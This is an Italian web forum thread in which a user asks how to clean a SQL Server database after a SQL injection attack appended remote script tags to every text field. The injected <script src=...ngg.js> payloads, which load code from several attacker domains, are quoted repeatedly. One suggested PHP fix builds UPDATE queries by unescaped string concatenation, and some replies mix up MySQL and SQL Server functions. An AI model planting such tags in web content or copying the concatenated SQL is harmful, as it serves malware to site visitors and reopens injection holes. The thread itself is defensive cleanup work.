Visualizzazione dei risultati da 1 a 8 su 8
  1. #1
    Utente di HTML.it
    Registrato dal
    Jun 2003
    Messaggi
    605

    Update tabella eliminando solo parte del campo

    Ciao a tutti,
    Un software creato con sqlserver/asp è stato attaccato con sql injection e d ora tutti i campi delle tabele sono stati modificati aggiundo al testo originale un link di questo tipo:

    Codice PHP:
    <script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script> 
    quindi per esempio il campo cognome me lo ritrovo così:

    Codice PHP:
    ROSSI<script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script> 

    siccome conosco meglio php e posso connettermi anche con il php chiedevo come posso risolvere con update e fare la pulizia del db.
    forse con le regular expression? anche se non li conosco tanto bene.... insomma qualsiasi consgiglio per pulire sto sql server e ben accetto!!!
    una buona giornata
    Giuseppe

  2. #2
    Se vuoi farlo direttamente in T-SQL puoi utilizzare CHARINDEX() e SUBSTRING()

  3. #3
    Utente di HTML.it
    Registrato dal
    Oct 2006
    Messaggi
    97
    è un bel casino...

    potresti usare una funzione del genere:

    Codice PHP:
    function update($tabella$campi$key){
        
    //$db=odbc_connect($odbc,$user,$password); metti i parametri giusti e decommenta 
        
    $sql"SELECT * FROM ".$tabella;
        
    $result=odbc_exec($db$sql)
        while (
    $row odbc_fetch_array($result)){
            foreach (
    $campi as $value){
                
    $strstrtr($row[$value],"<script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script>","");
                
    $sqlupdate "UPDATE ".$tabella." SET ".$value."='".$str."' WHERE ".$key."='".$row[$key]."'";
                
    odbc_exec($db$sqlupdate);            
            }
        }
        
    odbc_close($db);

    dove $tabella è il nome della tabella da aggiornare, $campi è un array contenente il nome dei campi da aggiornare escluso la chiave primaria, e $key è il nome del campo chiave primaria.

    naturalmente non ho tempo di provare la funzione cmq il codice credo sia di facile comprensione. CIAO

    PS: la funzione non aggiorna la chiave primaria... devi fare una funzione simile a parte per aggiornarla oppure aggiungere qualche riga di codice a questa

  4. #4
    Utente di HTML.it
    Registrato dal
    Jun 2003
    Messaggi
    605
    credo proprio che sia LA SOLUZIONE... migliore...
    daltrone la chiave primaria l'id è sttao l'unico ad non essere intaccato....

    davvero grazie...
    buona serata

  5. #5
    basterebbe un unico update:

    codice:
    update tabella
    set
    campo1 = substring_index(campo1, '<', 1),
    campo2 = substring_index(campo2, '<', 1),
    campo3 = substring_index(campo3, '<', 1)
    campo4 ..... etc.

    Il silenzio è spesso la cosa migliore. Pensa ... è gratis.

  6. #6
    Utente di HTML.it
    Registrato dal
    Jun 2003
    Messaggi
    605
    ciao piero.mac,
    la tua soluzione di far tutto con una query mi piace molto molto....

    ho letto un po in giro l'equivalente funzione per sql server

    SUBSTRING ( expression ,start , length )

    e forse... e corrreggimi se sbaglio come hai scritto tu se il mio campo è questo:

    Codice PHP:
    ROSSI<script src=http://www.gitporg.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.adpzo.com/ngg.js></script><script src=http://www.tctcow.com/ngg.js></script><script src=http://www.bnrc.ru/ngg.js></script><script src=http://www.cgt4.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kr92.ru/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script> 

    se length e la lunghezza nel tuo modo non toglie solo primo "<" che incontra o sbaglio..?

    Io lo interpretata così... (sempre se non ho capito male di come si usa sta funzione substring())

    update tabella
    set
    campo1 = substring(campo1, '<',LEN(campo1)),
    campo2 = substring(campo2, '<',LEN(campo2)),
    campo3 = substring(campo3, '<',LEN(campo1))
    campo4 ..... etc.



    che dici... cosi sberello il db è basta?

    una buona giornata!!!!!
    e grazie

  7. #7
    Utente di HTML.it
    Registrato dal
    Oct 2006
    Messaggi
    97
    non credo che substring_index sia una funzione di sqlserver

  8. #8
    Originariamente inviato da centro

    se length e la lunghezza nel tuo modo non toglie solo primo "<" che incontra o sbaglio..?
    substring_index(str, delim, count)

    Returns the substring from string str before count occurrences of the delimiter delim. If count is positive, everything to the left of the final delimiter (counting from the left) is returned. If count is negative, everything to the right of the final delimiter (counting from the right) is returned. SUBSTRING_INDEX() performs a case-sensitive match when searching for delim.

    Originariamente inviato da centro
    Io lo interpretata così... (sempre se non ho capito male di come si usa sta funzione substring())

    update tabella
    set
    campo1 = substring(campo1, '<',LEN(campo1)),
    campo2 = substring(campo2, '<',LEN(campo2)),
    campo3 = substring(campo3, '<',LEN(campo1))
    campo4 ..... etc.



    che dici... cosi sberello il db è basta?

    una buona giornata!!!!!
    e grazie
    basta fare una copia della tabella e provare....

    prova anche con charindex() o patindex() che restituiscono la posizione della prima occorrenza nella stringa. Come ti e' stato detto in precedenza.

    Il silenzio è spesso la cosa migliore. Pensa ... è gratis.

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.